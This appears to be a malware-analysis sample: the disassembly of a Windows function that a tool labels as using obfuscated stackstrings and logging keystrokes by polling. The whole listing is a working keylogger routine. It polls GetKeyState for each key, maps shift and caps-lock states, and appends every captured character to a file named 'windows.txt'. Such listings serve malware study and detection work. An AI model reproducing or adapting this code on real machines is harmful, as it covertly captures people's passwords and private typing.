Function at 0x140001b3c
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x490
lea rbp, [rsp + 0x80]
mov dword [0x14000a0a4], 1
movabs rax, 0xc32d282722a9c326
mov qword [rbp - 0x2f], rax
movabs rax, 0xa0c3a7c35fa8c3
mov qword [rbp - 0x28], rax
movabs rax, 0x3837363534333231
mov qword [rbp - 0x3a], rax
mov dword [rbp - 0x33], 0x303938
movabs rax, 0x602f2e2d2c3d3b
mov qword [rbp - 0x42], rax
mov dword [rbp - 0x49], 0x3e3c2b3a
mov dword [rbp - 0x46], 0x7e3f3e
mov dword [rbp - 0x4f], 0x275d5c5b
mov word [rbp - 0x4b], 0x3b
mov dword [rbp - 0x54], 0x227d7c7b
mov byte [rbp - 0x50], 0
movabs rax, 0x2e73776f646e6977
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x58], 0x747874
mov dword [rbp + 0x40c], 0
jmp 0x140001bf3
mov eax, dword [rbp + 0x40c]
cdqe
mov dword [rbp + rax*4 - 0x20], 0
add dword [rbp + 0x40c], 1
cmp dword [rbp + 0x40c], 0xfe
jle 0x140001bdc
jmp 0x140001f76
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x404], eax
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x400], eax
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3fc], eax
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f8], eax
mov dword [rbp + 0x40c], 0
jmp 0x140001f66
mov eax, dword [rbp + 0x40c]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f4], eax
mov eax, dword [rbp + 0x40c]
mov byte [rbp + 0x40b], al
cmp dword [rbp + 0x3f4], 1
jne 0x140001f4d
mov eax, dword [rbp + 0x40c]
cdqe
mov eax, dword [rbp + rax*4 - 0x20]
test eax, eax
jne 0x140001f4d
cmp dword [rbp + 0x40c], 0x40
jle 0x140001d6a
cmp dword [rbp + 0x40c], 0x5a
jg 0x140001d6a
cmp dword [rbp + 0x404], 0
jne 0x140001d40
cmp dword [rbp + 0x3fc], 0
jne 0x140001f05
cmp dword [rbp + 0x3f8], 0
jne 0x140001f05
mov eax, dword [rbp + 0x40c]
add eax, 0x20
mov byte [rbp + 0x40b], al
jmp 0x140001f05
cmp dword [rbp + 0x3fc], 1
je 0x140001d56
cmp dword [rbp + 0x3f8], 1
jne 0x140001f05
mov eax, dword [rbp + 0x40c]
add eax, 0x20
mov byte [rbp + 0x40b], al
jmp 0x140001f05
cmp dword [rbp + 0x40c], 0x2f
jle 0x140001dc4
cmp dword [rbp + 0x40c], 0x39
jg 0x140001dc4
cmp dword [rbp + 0x3fc], 1
je 0x140001d8e
cmp dword [rbp + 0x3f8], 1
jne 0x140001da9
mov eax, dword [rbp + 0x40c]
sub eax, 0x30
cdqe
movzx eax, byte [rbp + rax - 0x3a]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
mov eax, dword [rbp + 0x40c]
sub eax, 0x30
cdqe
movzx eax, byte [rbp + rax - 0x2f]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0x5f
jle 0x140001df3
cmp dword [rbp + 0x40c], 0x69
jg 0x140001df3
cmp dword [rbp + 0x400], 1
jne 0x140001df3
mov eax, dword [rbp + 0x40c]
sub eax, 0x30
mov byte [rbp + 0x40b], al
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0xb9
jle 0x140001e57
cmp dword [rbp + 0x40c], 0xc0
jg 0x140001e57
cmp dword [rbp + 0x3fc], 1
je 0x140001e1d
cmp dword [rbp + 0x3f8], 1
jne 0x140001e3a
mov eax, dword [rbp + 0x40c]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x49]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
mov eax, dword [rbp + 0x40c]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x42]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0xda
jle 0x140001eb5
cmp dword [rbp + 0x40c], 0xdf
jg 0x140001eb5
cmp dword [rbp + 0x3fc], 1
je 0x140001e81
cmp dword [rbp + 0x3f8], 1
jne 0x140001e9b
mov eax, dword [rbp + 0x40c]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x54]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
mov eax, dword [rbp + 0x40c]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x4f]
mov byte [rbp + 0x40b], al
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0xd
jne 0x140001ec7
mov byte [rbp + 0x40b], 0xa
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0x69
jle 0x140001eea
cmp dword [rbp + 0x40c], 0x6f
jg 0x140001eea
mov eax, dword [rbp + 0x40c]
sub eax, 0x40
mov byte [rbp + 0x40b], al
jmp 0x140001f06
cmp dword [rbp + 0x40c], 0x20
je 0x140001f06
cmp dword [rbp + 0x40c], 9
je 0x140001f06
mov byte [rbp + 0x40b], 0
jmp 0x140001f06
nop
cmp byte [rbp + 0x40b], 0
je 0x140001f4d
lea rax, [rbp - 0x60]
lea rdx, [0x140006085]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3e8], rax
movsx eax, byte [rbp + 0x40b]
mov rdx, qword [rbp + 0x3e8]
mov ecx, eax
call sym.putc
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0x40c]
cdqe
mov edx, dword [rbp + 0x3f4]
mov dword [rbp + rax*4 - 0x20], edx
add dword [rbp + 0x40c], 1
cmp dword [rbp + 0x40c], 0xfe
jle 0x140001ca5
mov eax, dword [0x14000a0a4]
test eax, eax
jne 0x140001c04
nop
add rsp, 0x490
pop rbp
ret